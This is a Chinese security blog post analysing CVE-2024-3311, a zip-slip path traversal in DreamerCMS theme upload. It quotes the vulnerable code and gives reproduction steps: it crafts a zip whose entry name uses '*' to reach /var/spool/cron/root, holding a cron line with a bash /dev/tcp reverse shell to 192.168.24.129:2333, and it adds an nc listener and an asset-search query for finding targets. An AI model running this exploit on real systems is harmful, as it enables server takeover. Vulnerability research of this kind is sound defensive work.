DreamerCMS RCE (CVE-2024-3311)
前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请联系。
白嫖哥的选择:星球白嫖哥真会操作啊~星球资源白嫖感觉挺好吧!被白嫖哥两次认证过的星球,你还要错过嘛?
由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!
漏洞详情
Dreamer CMS 梦想家内容发布系统采用流行的SpringBoot搭建,支持静态化、标签化建站。不需要专业的后台开发技能,会HTML就能建站,上手超简单;只需使用系统提供的标签就能轻松建设网站。全面支持各类表单字段,真正实现“0”代码建网站。
DreamerCMS<=4.1.3.1,可通过目录遍历恶意制作zip文件,设置定时任务等操作,造成rce。
源码地址
https://github.com/iteachyou-wjn/dreamer_cms
影响版本
DreamerCMS<=4.1.3.1
漏洞代码存在位置
controller/admin/ThemesController.java的add()函数中
资产测绘
"Dreamer CMS"
漏洞分析
0x01
DreamerCMS RCE CVE-2024-3311
(1)首先,在controller/admin/ThemesController.java的add()函数中,有如下代码:
public String add(String themePath) throws IOException, CmsException {
Theme theme;
String rootPath = fileConfiguration.getResourceDir();
System system = systemService.getSystem();
String uploadDir = system.getUploaddir();
String uploadpath = rootPath + "/" + uploadDir + "/" + themePath;
File zipFile = new File(uploadpath);
//解压zip
String targetDir = rootPath + "templates/";
theme = ZipUtils.unZipFiles(zipFile, targetDir);
//省略其他代码
}
(2)使用ZipUtils.unZipFiles(zipFile,target
Dir),代码如下:
public static Theme unZipFiles(File zipFile, String descDir) throws IOException, AdminGeneralException {
File pathFile = new File(descDir);
if (!pathFile.exists()) {
pathFile.mkdirs();
}
Theme theme = new Theme();
// 解决zip文件中有中文目录或者中文文件
ZipFile zip = new ZipFile(zipFile, Charset.forName("GBK"));
for (Enumeration entries = zip.entries(); entries.hasMoreElements();) {
ZipEntry entry = (ZipEntry) entries.nextElement();
String entryName = entry.getName();
System.out.println(entryName);
if(entryName.contains("../") || entryName.contains("..\")) {
throw new AdminGeneralException(
ExceptionEnum.XSS_SQL_EXCEPTION.getCode(),
ExceptionEnum.XSS_SQL_EXCEPTION.getMessage(),
"压缩包中文件名疑似不安全,详情:" + entryName);
}
InputStream in = zip.getInputStream(entry);
String outPath = (descDir + entryName).replaceAll("\*", "/");
// 判断路径是否存在,不存在则创建文件路径
File file = new File(outPath.substring(0, outPath.lastIndexOf('/')));
if(file.getParent().equals(pathFile.getAbsolutePath()) && file.isDirectory()) {
theme.setThemePath(file.getAbsolutePath());
}
if (!file.exists()) {
file.mkdirs();
}
// 判断文件全路径是否为文件夹,如果是上面已经上传,不需要解压
if (new File(outPath).isDirectory()) {
continue;
}
OutputStream out = new FileOutputStream(outPath);
byte[] buf1 = new byte[1024];
int len;
while ((len = in.read(buf1)) > 0) {
out.write(buf1, 0, len);
}
in.close();
out.close();
}
zip.close();
System.out.println("******************解压完毕******************");
return theme;
}
}
允许利用恶意构造的ZIP文件中的条目名称,从而控制解压文件的目标路径,进而可能达到任意文件读取或执行远程代码的操作。
在unZipFiles方法中,当检查ZipEntry的名称以防止目录遍历时,采用了简单的字符串匹配方式,即检查条目名称是否包含../。然而,这种单纯的检查可以通过使用特定的编码以及变形绕过,比如使用连续的.和*序列(例如..*..*...var*spool*cron*root),经过replaceAll("\*", "/")处理后,会被转化为连续的上级目录路径(.. /.. /.../var/spool/cron/root)。
这意味着,虽然原始代码阻止直接的目录遍历,攻击者仍可以构造一个ZIP文件,其中包含这样的条目名称,从而能够解压到服务器上的任意位置,比如系统的敏感目录下的/var/spool/cron/root,会篡改cron任务,实现远程代码执行。
漏洞复现
(1)演示环境
操作系统:CentOS 7
数据库:MySQL 5.7
DreamerCMS版本:4.1.3.1
(2)功能点导航:后台管理->样式设置->上传主题包处
(3)在Linux环境中恶意制作zip文件
创建命名为xxxx*root的文件,并编写cron bounce shell的表达式
echo "*/1 * * * * bash -i >& /dev/tcp/192.168.24.129/2333 0>&1" > ..*..*..*..*..*..*..*..*..*..*..*..*..*..*..*..*var*spool*cron*root
创建一个名为poc1.zip文件
zip -r ./poc1.zip ..*..*..*..*..*..*..*..*..*..*..*..*..*..*..*..*var*spool*cron*root
使用 echo 将指定的 cron 任务表达式写入输出。该 cron 表达式每分钟执行一次命令,该命令是一个交互式 Bash shell,通过重定向将其输出重定向到指定地址
(4)使用服务器NC监听端口2333 nc-lvp 2333
(5)获取反弹shell
往期推荐
关于我们:
感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持。
关注福利:
回复“google工具" 获取 google语法生成工具
回复“小程序渗透工具" 获取 小程序渗透工具
回复“暴力破解字典" 获取 各种常用密码字典打包
回复“typora激活" 获取 最新typora激活程序
回复“蓝队工具箱”即可获取一款专业级应急响应的集成多种工具的工具集
知识星球
星球里有什么?
CNVD、EDU及SRC赏金,攻防演练资源分享(免杀,溯源,钓鱼等),各种新鲜好用工具,最新poc定期更新,以及一些好东西(还在学怎么挖通用漏洞吗快来加入),100多位师傅的选择,16个专栏会持续更新~提前续费有优惠,好用不贵很实惠
交流群
回复"加群"或加我联系方式拉交流群~
安全考证
需要考以下各类安全证书的可以联系我,绝对低价绝对优惠、组团更便宜,报名成功先送星球一年,CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP......巨优惠
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论